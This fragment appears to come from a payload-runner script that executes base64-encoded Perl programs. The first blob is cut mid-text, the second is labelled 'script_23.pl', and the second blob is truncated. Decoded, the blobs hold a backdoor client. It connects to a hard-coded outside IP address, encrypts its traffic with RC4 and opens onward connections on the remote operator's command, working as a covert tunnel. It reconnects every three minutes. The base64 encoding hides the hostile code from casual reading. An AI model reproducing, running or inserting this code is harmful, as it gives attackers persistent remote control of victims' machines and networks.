ZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_23.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTcyJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKC